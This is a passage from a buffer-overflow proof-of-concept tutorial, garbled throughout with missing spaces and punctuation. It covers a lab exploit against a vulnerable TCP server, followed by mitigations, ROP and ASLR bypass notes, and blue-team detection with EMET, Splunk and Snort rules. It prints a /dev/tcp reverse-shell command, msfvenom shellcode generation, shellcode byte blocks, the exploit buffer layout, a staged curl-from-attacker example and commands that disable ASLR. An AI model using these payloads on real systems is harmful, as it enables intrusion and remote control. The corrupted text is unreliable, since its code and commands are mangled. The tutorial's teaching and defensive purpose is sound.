helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

